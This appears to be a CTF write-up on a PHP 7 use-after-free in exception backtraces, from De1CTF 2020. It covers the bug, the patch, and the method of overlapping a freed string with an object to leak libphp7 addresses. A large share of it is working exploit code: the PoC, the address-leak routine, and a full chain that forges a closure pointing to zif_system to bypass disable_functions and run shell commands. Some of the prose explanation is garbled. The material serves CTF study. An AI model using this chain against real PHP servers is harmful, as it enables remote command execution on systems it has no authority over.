*First things first,I would like to mention the fact that this blog is based on this write-up,which is way better than mine(https://mem2019.github.io/jekyll/update/2020/05/04/Easy-PHP-UAF.html)
*The only difference is the fact that we only dive & dissect the exploit 'n the patch.
0x00 Overview
The challenge is to exploit a PHP script engine using php7-backtrace-bypass. We can execute arbitrary PHP code but we must bypass disabled_function
restriction to execute shell command, using a UAF vulnerability.However, different from official PHP engine, a custom libphp7.so
is provided. This engine does not provide any loop functionality such as for/while/do-while/foreach
. Moreover, in remote server, the recursion depth is also restricted, and strlen
function always returns NULL
, even though these cases do not occur in my local environment.
The exploit idea is similar to the exploit provided in Github: use UAF to overlap a string with an object, so that we can leak the addresses, then clone a function object and rewrite relevant function pointer to make the function system
.
Bug overview
Our vulnerability lies php's function backtrace.The root cause for our challenge is a UAF(use-after-free bug) vulnerability.The use-after-free is caused by freeing variables without reference(e.i. ref count = 0
) before putting the local variables into the backtrace.
In this way already freed variables can be re-accessed by accessing backtrace.
0x02 Patch Review
Now in order for us to get a better understanding let's review the patch
Upon inspecting the patch they did this:
Unlink the current stack frame before freeing CVs or extra args. This means it will no longer show up in back traces that are generated during CV destruction.
We already did this prior to destructing the object/closure, presumably for the same reason.
Now from their saying we can understand the fact the the bug was cause by the fact that they didn't free the current stack frame ,but rather they left it there and than terminate whatever was there.Ok so we can see from the patch that they used unlink to do that.
Exploit overview
The challenge was origininal from De1ctf2020,the authors provided the poc from the bug hunter.Let's inspect that.The PoC is presented below
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); // backtrace has ref to $arg
}
}
function trigger_uaf($arg) {
$arg = str_shuffle(str_repeat('A', 79)); // string to be UAFed
$vuln = new Vuln();
$vuln->a = $arg;
}
trigger_uaf('x');
$backtrace[0]['args'][1] // access UAF string
Upon inspection of the source code we can see that the author of the exploit createa a function called a,after that he released the memory zone of a, and saved a backtrace(a log of freed memory zone of variable a).
More in-depth exploit dev
Before exploiting any sort of engine we need to have problem domain based knowledge(how the engine deals with it's representation for it's data types,memory management and so on).
in php's case,we know how string and other php objects are stored in memory.Now the best was to exploit uaf
for our scenario is to free memory of string ,and replace is with a PHP Object have some sort of type confusion primitive.
One might be curious why do such a thing.In doing so,we can achive a memory leak primitive by reading the PHP string
Here is the definition of these 2 types:
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};
struct _zend_object {
zend_refcounted_h gc;
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
// zval is a union followed by its type description
// for example: string is _zend_string* pointer and 0x6
};
Now doing the type confusion vulnerability this is what objects we get to overlap
string object
gc gc
h handle
len ce
val+0 handlers
val+8 properties
val+16 first field
val+24 type of first field
Therefore, we can leak pointer of object by reading content in +0x10 offset. In addition, pointer handlers points to somewhere at libphp7.so so that we can also leak base address of libphp7.
Here is the source code which is pretty self explaniatory.Something i would like to add is the fact the $helper is leaked for later for RCE
$helper = new Helper;
$helper->a = $helper;
$helper->b = function($x) {};
$helper->c = 0x1337;
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x10);
// leaker address of $helper, which is also that of $abc
$helper->a = "helper";
// if we still have circular reference,
// a strage crash will occur when rewriting string,
// so we remove circular reference here
$abc_addr = $php_heap + 0x18;
$libphp_addr = str2ptr($abc, 0) - 0xd73ec0;
$zif_system = $libphp_addr + 0x355a86;
// leak libphp and thus zif_system function
$helper->b = function($x){};
$closure_obj = str2ptr($abc, 0x20);
// leak a pointer pointing to a user-defined function object
RCE
The primary objective is to rewrite the function in b
field to PHP system function.However, we cannot use strlen
function to achieve arbitrary memory read, unlike the provided exploit.The aproach used by the author was to interpret address $closure_obj
as a PHP string so that we can read contents after +0x18
offset.Source code provided below for the exploit.
// fake value
write($abc, 0x10, $closure_obj);
write($abc, 0x18, 0x6);
// fake a string object at $closure_obj
function copyFunc($off)
{
global $helper;
global $abc;
if ($off > 0x110) return;
write($abc, 0xd0 + 0x18 + $off, str2ptr($helper->a, $off));
write($abc, 0xd0 + 0x20 + $off, str2ptr($helper->a, $off+8));
write($abc, 0xd0 + 0x28 + $off, str2ptr($helper->a, $off+0x10));
write($abc, 0xd0 + 0x30 + $off, str2ptr($helper->a, $off+0x18));
write($abc, 0xd0 + 0x38 + $off, str2ptr($helper->a, $off+0x20));
write($abc, 0xd0 + 0x40 + $off, str2ptr($helper->a, $off+0x28));
write($abc, 0xd0 + 0x48 + $off, str2ptr($helper->a, $off+0x30));
write($abc, 0xd0 + 0x50 + $off, str2ptr($helper->a, $off+0x38));
write($abc, 0xd0 + 0x58 + $off, str2ptr($helper->a, $off+0x40));
write($abc, 0xd0 + 0x60 + $off, str2ptr($helper->a, $off+0x48));
write($abc, 0xd0 + 0x68 + $off, str2ptr($helper->a, $off+0x50));
write($abc, 0xd0 + 0x70 + $off, str2ptr($helper->a, $off+0x58));
write($abc, 0xd0 + 0x78 + $off, str2ptr($helper->a, $off+0x60));
write($abc, 0xd0 + 0x80 + $off, str2ptr($helper->a, $off+0x68));
write($abc, 0xd0 + 0x88 + $off, str2ptr($helper->a, $off+0x70));
write($abc, 0xd0 + 0x90 + $off, str2ptr($helper->a, $off+0x78));
write($abc, 0xd0 + 0x98 + $off, str2ptr($helper->a, $off+0x80));
write($abc, 0xd0 + 0xa0 + $off, str2ptr($helper->a, $off+0x88));
copyFunc($off + 0x90);
} // function to copy the content inside $closure_obj
write($abc, 0xd0, 0x0000031800000002);
write($abc, 0xd0 + 8, 0x0000000000000003);
// write some headers in $closure_obj,
// which are simply constants from gdb
copyFunc(0); // copy body in $closure_obj
write($abc, 0xd0 + 0x38, 0x0210000000000001);
write($abc, 0xd0 + 0x68, $zif_system);
// rewrite critical fields to make the function `system`
write($abc, 0x20, $abc_addr + 0xd0);
// rewrite pointer of field b to newly faked function object
($helper->b)($cmd);
die("end");
End.
END of The Game